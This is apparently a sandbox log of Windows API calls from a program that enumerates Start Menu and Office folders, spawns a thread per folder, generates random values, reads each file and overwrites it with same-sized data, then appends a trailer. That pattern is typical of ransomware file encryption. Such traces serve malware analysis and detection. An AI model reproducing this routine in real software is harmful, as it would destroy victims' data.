1 [0151.222] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0151.222] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0151.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b00b0 [0151.222] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.222] wcscat (in: _Dest=0x202b00b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.222] wcscat (in: _Dest=0x202b00b0, _Source="Microsoft Office" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" [0151.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248c [0151.223] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0151.223] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0151.223] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0151.223] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePoint", cAlternateFileName="SHAREP~1")) returned 1 [0151.223] wcscmp (_String1="SharePoint", _String2=".") returned 1 [0151.223] wcscmp (_String1="SharePoint", _String2="..") returned 1 [0151.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b86a7d0 [0151.224] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.224] wcscat (in: _Dest=0x1b86a7d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.224] wcscat (in: _Dest=0x1b86a7d0, _Source="SharePoint" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" [0151.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86a7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2490 [0151.225] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a233bd5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8a233bd5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8a233bd5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.lnk", cAlternateFileName="")) returned 1 [0151.225] wcscmp (_String1="Sidebar.lnk", _String2=".") returned 1 [0151.225] wcscmp (_String1="Sidebar.lnk", _String2="..") returned 1 [0151.225] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0151.225] wcscmp (_String1="Startup", _String2=".") returned 1 [0151.225] wcscmp (_String1="Startup", _String2="..") returned 1 [0151.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86aa10 [0151.225] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.225] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.225] wcscat (in: _Dest=0x1b86aa10, _Source="Startup" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0151.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86aa10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2494 [0151.226] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0151.226] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0151.226] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0151.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b820 [0151.227] wcscpy (in: _Dest=0x1b86b820, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.227] wcscat (in: _Dest=0x1b86b820, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.227] wcscat (in: _Dest=0x1b86b820, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0151.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86b820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2498 [0151.228] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0151.228] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2=".") returned 1 [0151.228] wcscmp (_String1="Windows Anytime Upgrade.lnk", _String2="..") returned 1 [0151.228] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0151.228] wcscmp (_String1="Windows DVD Maker.lnk", _String2=".") returned 1 [0151.228] wcscmp (_String1="Windows DVD Maker.lnk", _String2="..") returned 1 [0151.228] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0151.228] wcscmp (_String1="Windows Fax and Scan.lnk", _String2=".") returned 1 [0151.228] wcscmp (_String1="Windows Fax and Scan.lnk", _String2="..") returned 1 [0151.228] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0151.228] wcscmp (_String1="Windows Media Player.lnk", _String2=".") returned 1 [0151.228] wcscmp (_String1="Windows Media Player.lnk", _String2="..") returned 1 [0151.228] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0151.228] wcscmp (_String1="XPS Viewer.lnk", _String2=".") returned 1 [0151.228] wcscmp (_String1="XPS Viewer.lnk", _String2="..") returned 1 [0151.228] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0151.228] FindClose (in: hFindFile=0x1cd867f0 | out: hFindFile=0x1cd867f0) returned 1 [0151.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4760) returned 1 [0151.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59ab0) returned 1 [0151.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 Thread: id = 2289 os_tid = 0x1c08 [0144.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1ce59a30 [0144.160] wcscpy (in: _Dest=0x1ce59a30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0144.160] wcscat (in: _Dest=0x1ce59a30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0144.160] wcscat (in: _Dest=0x1ce59a30, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*" [0144.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec49d0 [0144.160] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x1cec49d0 | out: lpFindFileData=0x1cec49d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d7f0 [0148.548] wcscmp (_String1=".", _String2=".") returned 0 [0148.548] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1cec49d0 | out: lpFindFileData=0x1cec49d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.549] wcscmp (_String1="..", _String2=".") returned 1 [0148.549] wcscmp (_String1="..", _String2="..") returned 0 [0148.549] FindNextFileW (in: hFindFile=0x1cd9d7f0, lpFindFileData=0x1cec49d0 | out: lpFindFileData=0x1cec49d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0148.549] wcscmp (_String1="PGLBL001.XML", _String2=".") returned 1 [0148.549] wcscmp (_String1="PGLBL001.XML", _String2="..") returned 1 [0148.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a2f0 [0148.549] wcscpy (in: _Dest=0x2050a2f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0148.549] wcscat (in: _Dest=0x2050a2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0148.549] wcscat (in: _Dest=0x2050a2f0, _Source="PGLBL001.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" [0151.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml")) returned 0x20 [0151.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML", dwFileAttributes=0x20) returned 1 [0151.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl001.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d64 [0151.627] GetFileSizeEx (in: hFile=0x1d64, lpFileSize=0x35d1f9e0 | out: lpFileSize=0x35d1f9e0*=4022) returned 1 [0151.627] SetFilePointerEx (in: hFile=0x1d64, liDistanceToMove=0xfb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.627] ReadFile (in: hFile=0x1d64, lpBuffer=0x35d1f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35d1f9a8, lpOverlapped=0x0 | out: lpBuffer=0x35d1f960*, lpNumberOfBytesRead=0x35d1f9a8*=0x4, lpOverlapped=0x0) returned 1 [0152.772] SetFilePointerEx (in: hFile=0x1d64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d10 [0152.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420525c0 [0152.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420525f0 [0152.773] NtQuerySystemTime (in: CurrentTime=0x35d1f8a0 | out: CurrentTime=0x35d1f8a0*=132462177579886000) returned 0x0 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x4c8f309a [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x47e67b01 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x38ee5030 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x480c96b8 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x367021ff [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x7d2e667a [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x2c1d9bce [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x2a3cfb14 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x4c8f309a [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x557ed3ca [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x5ed99a6a [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x2feec592 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x56b1ca21 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x4681d2e9 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x543e521f [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x3fcfe357 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x38b601af [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x369d73ff [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x1802661 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x6f1d66c9 [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x2474e86b [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x61f4761b [0152.773] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x56a70d14 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x653987a5 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x7ee13959 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x6fc7a838 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x35b9df16 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x56e7d856 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x1ecd206e [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x6638c6b9 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x7724e170 [0152.774] RtlRandomEx (in: Seed=0x35d1f890 | out: Seed=0x35d1f890) returned 0x79657f1f [0152.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052620 [0152.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868540 [0152.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052650 [0152.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 [0152.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420525f0) returned 1 [0152.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d10) returned 1 [0152.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0152.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868540 [0152.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6d10 [0152.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6d10) returned 1 [0152.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201aa520 [0152.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201a2d00 [0152.787] ReadFile (in: hFile=0x1d64, lpBuffer=0x201aa520, nNumberOfBytesToRead=0xfb6, lpNumberOfBytesRead=0x35d1f890, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesRead=0x35d1f890*=0xfb6, lpOverlapped=0x0) returned 1 [0152.787] SetFilePointerEx (in: hFile=0x1d64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.787] WriteFile (in: hFile=0x1d64, lpBuffer=0x201a2d00*, nNumberOfBytesToWrite=0xfb6, lpNumberOfBytesWritten=0x35d1f894, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesWritten=0x35d1f894*=0xfb6, lpOverlapped=0x0) returned 1 [0162.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18690 [0162.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c186c0 [0162.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c186c0) returned 1 [0162.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0162.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0162.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 [0162.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0162.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c186c0 [0162.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0162.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868540 [0162.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c186f0 [0162.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c186f0) returned 1 [0162.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c186f0 [0162.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18720 [0162.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18750 [0162.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18750) returned 1 [0162.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 [0162.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0162.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c14990 [0162.346] SetFilePointerEx (in: hFile=0x1d64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.346] WriteFile (hFile=0x1d64, lpBuffer=0x42c14990, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35d1f9b0, lpOverlapped=0x0) [0200.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420526e0 [0200.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420526e0) returned 1 [0200.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420526e0 [0200.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420526b0 [0200.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420526b0) returned 1 [0200.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.544] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="7d") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="68") returned 2 [0200.544] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.544] 